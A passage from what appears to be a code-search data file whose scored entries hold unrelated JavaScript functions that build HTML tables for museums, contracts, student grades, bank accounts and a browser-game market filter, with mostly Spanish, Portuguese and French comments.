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'\n doc.pageMargins = [20,60,20,30];\n doc.defaultStyle.fontSize = 7;\n doc.styles.tableHeader.fontSize = 7;\n doc['header']=(function() {\n return {\n columns: [\n {\n image: logo,\n width: 40\n },\n {\n alignment: 'left',\n italics: false,\n text: 'IARTE',\n fontSize: 14,\n margin: [10,0]\n },\n {\n alignment: 'right',\n fontSize: 14,\n text: ''\n }\n ],\n margin: 20\n }\n });\n \t \t\t\tdoc['styles'] = {\n \t\t\ttableHeader: {\n\t\t\t bold:!0,\n\t\t\t fontSize:10,\n\t\t\t color:'white',\n\t\t\t fillColor:'#800000',\n\t\t\t alignment:'center'\n \t\t\t}\n \t\t\t};\n doc['footer']=(function(page, pages) {\n return {\n columns: [\n {\n alignment: 'left',\n text: ['Fecha : ', { text: jsDate.toString() }]\n },\n {\n alignment: 'right',\n text: ['Página ', { text: page.toString() }, ' de ', { text: pages.toString() }]\n }\n ],\n margin: 20\n }\n });\n var objLayout = {};\n objLayout['hLineWidth'] = function(i) { return .5; };\n objLayout['vLineWidth'] = function(i) { return .5; };\n objLayout['hLineColor'] = function(i) { return '#aaa'; };\n objLayout['vLineColor'] = function(i) { return '#aaa'; };\n objLayout['paddingLeft'] = function(i) { return 4; };\n objLayout['paddingRight'] = function(i) { return 4; };\n doc.content[0].layout = objLayout;\n \t}\n \t\t},\n\t\t\t\t{\n\t\t\t\t\t\"text\": \"<i class='fa fa-plus'></i>\",\n\t\t\t\t\t\"titleAttr\": \"Agregar Museo\",\n\t\t\t\t\t\"className\": \"button.dt-button, div.dt-button, a.dt-button\",\n\t\t\t\t\t\"action\": function(){\n\t\t\t\t\t\tagregar();\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"text\": \"<i class='fa fa-refresh fa-spin fa-fw'></i>\",\n\t\t\t\t\t\"titleAttr\": \"Refrescar Datos\",\n\t\t\t\t\t\"className\": \"button.dt-button, div.dt-button, a.dt-button\",\n\t\t\t\t\t\"action\": function(){\n\t\t\t\t\t\tlistar();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t]\n\t\t});\n\t\tbloquear_museo(\"#tabla tbody\", table);\n\t\tdesbloquear_museo(\"#tabla tbody\", table);\n\t\teliminar_museo(\"#tabla tbody\", table);\n\t\tasignar_usuarios(\"#tabla tbody\", table);\n\t}", "title": "" }, { "docid": "c7fb6d857c0bbb52ebd78fbda1df1dba", "score": "0.5790755", "text": "function buscar_contrato() {\n var contratos = peticion(\"peticionesAjaxContrato&p=mostrar\", \"GET\", null);\n let template = '';\n tipoContrato(contratos);\n contratos.forEach(contrato => {\n template += `\n <tr data-id=\"${contrato['id_cont']}\">\n <td>${contrato['descripcion_tipocontrato']}</td>\n <td>${contrato['horas_tipocontrato']}</td>\n <td class=\"cont_boton\">\n <div class=\"editar\"><i class=\"icon-pencil\"></i></div>\n <div class=\"borrar\"><i class=\"icon-bin\"></i></div>\n </td>\n </tr>`;\n });\n $('#lista_contrato').html(template);\n}", "title": "" }, { "docid": "f5ffeafe19dfc0861317a3ed549236ea", "score": "0.578962", "text": "function filtrosMercado(){\r\n\t\tvar table = document.createElement(\"TABLE\");\r\n\t\ttable.setAttribute(\"class\", \"tbg\");\r\n\t\ttable.setAttribute(\"style\", \"width:100%\");\r\n\t\ttable.setAttribute(\"cellspacing\", \"1\");\r\n\t\ttable.setAttribute(\"cellpadding\", \"2\");\r\n\r\n\t\t// Se crea la tabla con 3 filas, Ofrezco, Busco y Tipo\r\n\t\tvar etiquetas = [T('OFREZCO'), T('BUSCO')];\r\n\t\tfor (var j = 0; j < 2; j++){\r\n\t\t\tvar tr = document.createElement(\"TR\");\r\n\t\t\ttr.appendChild(elem(\"TD\", etiquetas[j]));\r\n\t\t\t// Para Ofrezco y Busco se muestran 4 materiales y un quinto comodin\r\n\t\t\tfor (var i = 0; i < 4; i++){\r\n\t\t\t\tvar td = document.createElement(\"TD\");\r\n\t\t\t\ttd.setAttribute(\"id\", \"filtro\" + j + i);\r\n\t\t\t\t//# TMR \r\n\t\t\t\tvar ref = elem(\"A\", \"<img src='data:image/gif;base64,\" + imagenes['res'+i] + \"' width='18' height='12' border='0' title='\" + T('RECURSO' + (i+1)) + \"'>\");\r\n\t\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(j, i+1), 0);\r\n\t\t\t\ttd.appendChild(ref);\r\n\t\t\t\ttr.appendChild(td);\r\n\t\t\t}\r\n\t\t\tvar td = document.createElement(\"TD\");\r\n\t\t\ttd.setAttribute(\"style\", \"background-color:#F5F5F5\");\r\n\t\t\ttd.setAttribute(\"id\", \"filtro\" + j + \"4\");\r\n\t\t\tvar ref = elem(\"A\", T('CUALQUIERA'));\r\n\t\t\tref.setAttribute(\"href\", \"javascript:void(0)\");\r\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(j, 5), 0);\r\n\t\t\ttd.appendChild(ref);\r\n\t\t\ttr.appendChild(td);\r\n\t\t\ttable.appendChild(tr);\r\n\t\t}\r\n\r\n\t\t// La fila del tipo especifica transacciones 1:1 o 1:x\r\n\t\tvar tr = document.createElement(\"TR\");\r\n\t\ttr.appendChild(elem(\"TD\", T('TIPO')));\r\n\t\ttable.appendChild(tr);\r\n\t\tvar etiquetas_tipo = [\"1:1\", \"1:>1\", \"1:<1\", \"1:x\"];\r\n\t\tfor (var i = 0; i < 4; i++){\r\n\t\t\tvar td = document.createElement(\"TD\");\r\n\t\t\ttd.setAttribute(\"id\", \"filtro\" + 2 + i);\r\n\t\t\tif (i == 3) td.setAttribute(\"style\", \"background-color:#F5F5F5\");\r\n\t\t\tvar ref = elem(\"A\", etiquetas_tipo[i]); \r\n\t\t\tref.setAttribute(\"href\", \"javascript:void(0)\"); \r\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(2, (i+1)), 0);\r\n\t\t\ttd.appendChild(ref); \r\n\t\t\ttr.appendChild(td);\r\n\t\t}\r\n\t\ttr.appendChild(document.createElement(\"TD\"));\r\n\r\n\t\tvar tr = document.createElement(\"TR\");\r\n\t\ttr.appendChild(elem(\"TD\", T('MAXTIME')));\r\n\t\ttable.appendChild(tr);\r\n\t\tvar etiquetas_tipo = [\"1\", \"2\", \"3\", \">3\"];\r\n\t\tfor (var i = 0; i < 4; i++){\r\n\t\t\tvar td = document.createElement(\"TD\");\r\n\t\t\ttd.setAttribute(\"id\", \"filtro\" + 4 + i);\r\n\t\t\tif (i == 3) td.setAttribute(\"style\", \"background-color:#F5F5F5\");\r\n\t\t\tvar ref = elem(\"A\", etiquetas_tipo[i]); \r\n\t\t\tref.setAttribute(\"href\", \"javascript:void(0)\"); \r\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(4, (i+1)), 0);\r\n\t\t\ttd.appendChild(ref); \r\n\t\t\ttr.appendChild(td);\r\n\t\t}\r\n\t\ttr.appendChild(document.createElement(\"TD\"));\r\n\r\n\t\tvar tr = document.createElement(\"TR\");\r\n\t\ttr.appendChild(elem(\"TD\", T('DISPONIBLE')));\r\n\t\ttable.appendChild(tr);\r\n\t\tvar etiquetas_carencia = [T('SI'), T('NO')];\r\n\t\tfor (var i = 0; i < 2; i++){\r\n\t\t\tvar td = document.createElement(\"TD\");\r\n\t\t\ttd.setAttribute(\"colspan\", \"2\");\r\n\t\t\ttd.setAttribute(\"id\", \"filtro\" + 3 + i);\r\n\t\t\tif (i == 1) td.setAttribute(\"style\", \"background-color:#F5F5F5\");\r\n\t\t\tvar ref = elem(\"A\", etiquetas_carencia[i]);\r\n\t\t\tref.setAttribute(\"href\", \"javascript:void(0)\");\r\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(3, (i+1)), 0);\r\n\t\t\ttd.appendChild(ref);\r\n\t\t\ttr.appendChild(td);\r\n\t\t}\r\n\t\ttr.appendChild(document.createElement(\"TD\"));\r\n\r\n\t\t// Busca la tabla de ofertas y la inserta justo antes\r\n\t\tvar a = find(\"//table[@cellspacing='1' and @cellpadding='2' and @class='tbg' and not(@style)]\", XPFirst);\r\n\t\tif(!a) return;\r\n\t\tvar p = document.createElement(\"P\");\r\n\t\tp.appendChild(table);\r\n\t\ta.parentNode.insertBefore(p, a);\r\n\t}", "title": "" }, { "docid": "3000481d481a112783f3914a69e174d1", "score": "0.5789068", "text": "function obtener_dato_tabla(mover) {\n //obtenemos la tabla a un arreglo\n var orden=0, pregunta,ponderacion, area;\n var objtabla = [];\n var orden = parseInt($(\".activa_mover\").children(\":nth-child(1)\").text());\n var fila= { 'orden': orden };\n\n //recorremos el arreglo\n $(\".tabla_preguntas_cuest tbody tr\").each(function (i, t) {\n //recorre los datos dentro la filla\n $(this).children(\"td\").each(function (index, item) {\n switch (index) {\n case 0:orden = parseInt($(this).text());\n break;\n case 1:pregunta = $(this).text();\n break;\n case 3:area = $(this).text();\n break;\n }\n });\n if (orden == (fila.orden + mover)) {\n auxiliar_datos = orden;\n orden = fila.orden;\n }//fin if\n else if (orden == fila.orden) {\n orden = fila.orden + mover;\n }//fin else if\n\n ponderacion = parseInt($(\"#ponderacion\" + i).val())\n //crea un arreglo con los datos en formato Json.\n objtabla.push({ 'orden': orden, 'pregunta': pregunta, 'ponderacion': ponderacion, 'area': area });\n });\n \n return objtabla.sort(function (a, b) {if (a.orden > b.orden) { return 1} if (a.orden < b.orden) {return -1} return 0;\n });\n\n\n}//fin", "title": "" }, { "docid": "38f3439c67cf97fad79d5bd306bb4f5d", "score": "0.577387", "text": "function afficherUnTableau(monTableau){\n\tdocument.getElementById('classement').innerHTML=\"\";\n\n\t//on fait partir de 0 pour parcourir le tableau\n\tfor(var i=0; i<= monTableau.length -1; i++){\n\t\tvar lignetab='<tr>';//ouverture de la ligne, declaration de ma nouvelle ligne\n\t\t\n\t\tfor (j=0; j < monTableau[i].length; j++){\n\t\t\tlignetab+='<td>';//ajoute une colonne à ma ligne\n\t\t\tlignetab+=monTableau[i][j]; //ajoute dans la console la case correspondante.\n\t\t\tlignetab+='</td>';\n\t\t\t\n\t\t\t//document.getElementById('classement').inner.HTML+='<td>coucou</td>';\n\t\t\t//console.log(listeTotale[i][j]);\n\t\t}\n\t\tlignetab+='</tr>';\n\t\t//alert(listeTotale[i]); affichage ligne du tablaeu\n\t\tdocument.getElementById('classement').innerHTML+=lignetab;//document html qui va chercher l'element\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//qui a l'id classement \n\t}\n\t\t//alert(listeTotale[0][1][0]);\n}", "title": "" }, { "docid": "5f40d24b1cec6872307cb782e59f5d02", "score": "0.5770105", "text": "function mostrarTablaConsultarCalificacion(){\r\n\r\n if(usuarios[idUsuarioActual].materiasSeleccionadasActualmente.length === 0){\r\n \r\n console.error(\"La tabla no contiene ningun elemento, por favor agreguele elementos\"); \r\n \r\n }else{\r\n \r\n var tbl = document.getElementById(\"tabla-calificaciones\");\r\n\r\n // borrando el contenido de la tabla si existe para que no se repital\r\n tbl.innerHTML = \"\";\r\n\r\n var tblBody = document.createElement(\"tbody\"); \r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Id\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Codigo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Nombre\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"1P\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"2P\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Pract./Pro.\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"F\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"T\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n tblBody.appendChild(fila);\r\n \r\n \r\n\r\n for (var i = 0; i < usuarios[idUsuarioActual].materiasSeleccionadasActualmente.length; i++) {\r\n\r\n\r\n\r\n if(i > 0){\r\n if(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].cuatrimestre > usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i-1].cuatrimestre){\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cuatrimestre \" + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].cuatrimestre);\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",\"8\");\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n }\r\n }else if(i === 0){\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cuatrimestre \" + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].cuatrimestre);\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",\"8\");\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n }\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(i);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].codigo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].nombre);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].primerParcial);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].segundoParcial);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].practicas);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].final);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var sumatoria = usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].primerParcial + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].segundoParcial + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].practicas + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].final;\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(sumatoria);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n tblBody.appendChild(fila);\r\n \r\n \r\n }\r\n \r\n tbl.appendChild(tblBody);\r\n tbl.setAttribute(\"border\", \"2\");\r\n \r\n console.info(\"Tabla generada exitosamente\");\r\n \r\n }\r\n\r\n}", "title": "" }, { "docid": "355b1a2f57e3619f873f7523b8a5e07c", "score": "0.5769372", "text": "function listarContas(){\n\t\t\t\t\t\t\t\n\t\t\tvar table = document.getElementById(\"tabConts\");\n\t\t\t\n\t\t\tif(localStorage.getItem(\"conta\") === null){\n\t\t\tvar conta = [];\n\t\t\tconta = conta.push(\"0\");\n\t\t\t\n\t\t\t}\n\t\t\telse{\n\t\t\tvar nome = JSON.parse(localStorage.getItem(\"nome\"));\n\t\t\tvar cpf = JSON.parse(localStorage.getItem(\"cpf\"));\n\t\t\tvar datnasc = JSON.parse(localStorage.getItem(\"datnasc\"));\n\t\t\tvar tel= JSON.parse(localStorage.getItem(\"tel\"));\n\t\t\tvar conta = JSON.parse(localStorage.getItem(\"conta\"));\n\t\t\tvar saldo = JSON.parse(localStorage.getItem(\"saldo\"));\n\t\t\tvar del;\n\t\t\t}\n\t\t\ttable.innerHTML = \"\";\n\t\t\tvar topo = table.insertRow();\n\t\t\t\n\t\t\tvar topoConta = topo.insertCell();\n\t\t\tvar topoNome = topo.insertCell();\n\t\t\tvar topoTel = topo.insertCell();\n\t\t\tvar topoCpf = topo.insertCell();\n\t\t\tvar topoDatNasc = topo.insertCell();\n\t\t\tvar topoSaldo = topo.insertCell();\n\t\t\tvar topoDel = topo.insertCell();\n\t\t\t\n\t\t\t\n\t\t\ttopoConta.innerHTML = \"Conta\";\n\t\t\ttopoNome.innerHTML = \"Nome\";\n\t\t\ttopoCpf.innerHTML = \"CPF\";\n\t\t\ttopoDatNasc.innerHTML = \"Data de nascimento\";\n\t\t\ttopoTel.innerHTML = \"Telefone\";\n\t\t\ttopoSaldo.innerHTML = \"Saldo\";\n\t\t\t\n\t\tfor (i = 0; i < conta.length; i++){\n\t\t\t\n\t\t\tvar infor =\ttable.insertRow();\n\t\t\tvar inforConta = infor.insertCell();\n\t\t\tvar inforNome = infor.insertCell();\n\t\t\tvar inforTel = infor.insertCell();\n\t\t\tvar inforCpf = infor.insertCell();\n\t\t\tvar inforDatNasc = infor.insertCell();\n\t\t\tvar inforSaldo = infor.insertCell();\n\t\t\tvar inforDel = infor.insertCell();\n\t\t\t\n\t\t\t\n\t\t\tinforConta.innerHTML = conta[i].toString();\n\t\t\tinforNome.innerHTML = nome[i].toString();\n\t\t\tinforCpf.innerHTML = cpf[i].toString();\n\t\t\tinforDatNasc.innerHTML = datnasc[i].toString();\n\t\t\tinforTel.innerHTML = tel[i].toString();\n\t\t\tinforSaldo.innerHTML = saldo[i].toString();\n\t\t\t\n\t\t\tvar delConta = conta[i];\n\t\t\tinforDel.innerHTML = \"<input type='button' value ='deletar' onclick = 'deletar(\"+delConta+\");listarContas()'>\";\n\t\t}\n\n\t\t\t\n}", "title": "" }, { "docid": "2f3d6c98db3b8a6841d5fb198050f822", "score": "0.5767919", "text": "function pintar_tablero()\n {\n //Si la pagina no se ha cargado todavia, sale de la funcion:\n if (!pagina_cargada) { return; }\n\n //Define como que todavia no hay habitantes (para contarlos):\n poblacion = 0;\n\n var numero_celda = 0;\n for (var x = 0; x < tablero_alto; x++)\n {\n for (var y = 0; y < tablero_ancho; y++)\n {\n if (tablero[x][y] != 0)\n {\n poblacion++;\n if (multicolor) { document.getElementById(\"celda_\" + numero_celda).style.background = colores[\"multicolor\"][calcular_adyacentes(numero_celda)]; }\n else { document.getElementById(\"celda_\" + numero_celda).style.background = colores[\"celda_ocupada\"]; }\n } \n numero_celda++;\n }\n }\n \n if (poblacion > 0) { extinta = false; }\n \n //Actualiza el panel (por la poblacion):\n actualizar_panel();\n }", "title": "" }, { "docid": "2ffdc908e21543fe29fb14cbd9eaefe0", "score": "0.57672054", "text": "function Mostrar() {\r\n //declaramos una variable para contar el numero de filas\r\n var i = 0;\r\n //Selecciono el tbody de la tabla donde voy a mostrar la informacion\r\n var tbody = document.querySelector(\"#tbAlumno tbody\");\r\n tbody.innerHTML = \"\";\r\n\r\n //Seleccionamos la tabla que se quiere mostrar\r\n var db = database.ref().child(\"alumno\");\r\n db.once(\"value\", function (snapshot) {\r\n if (snapshot.exists()) {\r\n snapshot.forEach(function (data) {\r\n var cod = data.key;\r\n var nom = data.val().nombre;\r\n var ape = data.val().apellido;\r\n var dni = data.val().dni;\r\n var fec = data.val().fecha;\r\n var dir = data.val().direccion;\r\n var dis = data.val().distrito;\r\n var tel = data.val().telefono;\r\n var cel = data.val().celular;\r\n var cor = data.val().correo;\r\n var sex = data.val().sexo;\r\n var est = data.val().estado;\r\n //Declaramos una variable para las filas\r\n var fila = tbody.insertRow(i);\r\n //Declaramos variables para los titulos\r\n var titulonom = fila.insertCell(0);\r\n var tituloape = fila.insertCell(1);\r\n var titulodni = fila.insertCell(2);\r\n var titulofec = fila.insertCell(3);\r\n var titulodir = fila.insertCell(4);\r\n var titulodis = fila.insertCell(5);\r\n var titulotel = fila.insertCell(6);\r\n var titulocel = fila.insertCell(7);\r\n var titulocor = fila.insertCell(8);\r\n var titulosex = fila.insertCell(9);\r\n var tituloest = fila.insertCell(10);\r\n var tituloact = fila.insertCell(11);\r\n var titulobor = fila.insertCell(12);\r\n //Agregamos los valores\r\n titulonom.innerHTML = nom;\r\n tituloape.innerHTML = ape;\r\n titulodni.innerHTML = dni;\r\n titulofec.innerHTML = fec;\r\n titulodir.innerHTML = dir;\r\n titulodis.innerHTML = dis;\r\n titulotel.innerHTML = tel;\r\n titulocel.innerHTML = cel;\r\n titulocor.innerHTML = cor;\r\n titulosex.innerHTML = sex;\r\n tituloest.innerHTML = est;\r\n tituloact.innerHTML =\r\n \"<a href='#' onclick=Buscar('\" + cod + \"')>Seleccionar</a>\";\r\n titulobor.innerHTML =\r\n \"<a href='#' onclick=Eliminar('\" + cod + \"')>Seleccionar</a>\";\r\n tbody.appendChild(fila);\r\n i++;\r\n });\r\n }\r\n });\r\n Limpiar()\r\n}", "title": "" }, { "docid": "0314cffade3d7056f57ed8ed35eb020e", "score": "0.5750564", "text": "function llenar_lista_busqueda(entidad, establecimientos)\r\n{\r\n\tvar imagen_fav, imagen_fav_title = '';\r\n\t$('#lista_busqueda_'+entidad+'').find('tr:gt(0)').remove();\r\n\r\n\tfor (var indice in establecimientos) {\r\n\t\testablecimiento = establecimientos[indice];\r\n\r\n\t\tif (establecimiento[\"ES_FAVORITO\"] == 'yes') {\r\n\t\t\timagen_fav = '<div class=\"fav_icon\">&nbsp;</div>';\r\n\t\t\timagen_fav_title = 'Agregado como favorito.';\r\n\t\t} else {\r\n\t\t\timagen_fav = '<span class=\"fa fa-plus hand\" id=\"agregar_favorito_icon'+establecimiento[\"ID\"]+'\"></span>';\r\n\t\t\timagen_fav_title = 'Agregar como favorito.';\r\n\t\t}\r\n\r\n\t\tdatos_tabla = \"<tr><td class='invisible' id='id'>\"+establecimiento[\"ID\"]+\"</td>\";\r\n\t\tdatos_tabla += \"<td id='select'><input type='radio' name='select' value='\"+establecimiento['ID']+\"'\";\r\n\r\n\t\tif (establecimientos.length == 1) {\r\n\t\t\tdatos_tabla += \" checked \";\r\n\t\t}\r\n\r\n\t\tdatos_tabla += \"></td>\"\r\n\t\tdatos_tabla += \"<td id='nombre'>\"+establecimiento[\"NOMBRE_ESTABLECIMIENTO\"]+\"</td>\";\r\n\r\n\t\tif (entidad == \"generador\"){\r\n\t\t\tdatos_tabla += \"<td id='nombre'>\"+establecimiento[\"SUCURSAL\"]+\"</td>\";\r\n\t\t}\t\t\r\n\t\t\t\r\n\t\tdatos_tabla += \"<td id='cuit'>\"+establecimiento[\"CUIT\"]+\"</td>\\\r\n\t\t\t<td id='provincia'>\"+establecimiento[\"PROVINCIA_\"]+\"</td>\\\r\n\t\t\t<td id='localidad'>\"+establecimiento[\"LOCALIDAD_\"]+\"</td>\\\r\n\t\t\t<td id='direccion'>\"+establecimiento[\"CALLE\"]+\" - \"+establecimiento[\"NUMERO\"]+\" - \"+establecimiento[\"PISO\"]+\"</td>\";\r\n\r\n\t\tif (establecimiento[\"ALTA_TEMPRANA\"] == 'no'){\r\n\t\t\tdatos_tabla += \"<td class='td' id='localidad' title='\"+imagen_fav_title+\"'>\"+imagen_fav+\"</td>\";\r\n\t\t} else {\r\n\t\t\tdatos_tabla += \"<td class='td'>&nbsp;</td>\";\r\n\t\t}\r\n\t\t\r\n\t\tdatos_tabla += \"</tr>\";\r\n\t\t\r\n\t\t$('#lista_busqueda_'+entidad+'> tbody:last').append(datos_tabla);\r\n\t}\r\n\r\n\t$('#lista_busqueda_'+entidad).show();\r\n\t$(\".btn_establecer_resultado_\"+entidad).show();\r\n\r\n\t$(\"#resultado_entidades\").show();\r\n\r\n\tif (entidad_buscada == 'generador') {\r\n\t\t$('button[name=btn_agregar_sucursal]').show();\r\n\t}\r\n\t\r\n\t$(\"div#alta_temprana_generador\").hide();\r\n}", "title": "" }, { "docid": "b963a0569d7870816313b2cbefb7c0df", "score": "0.5749897", "text": "function 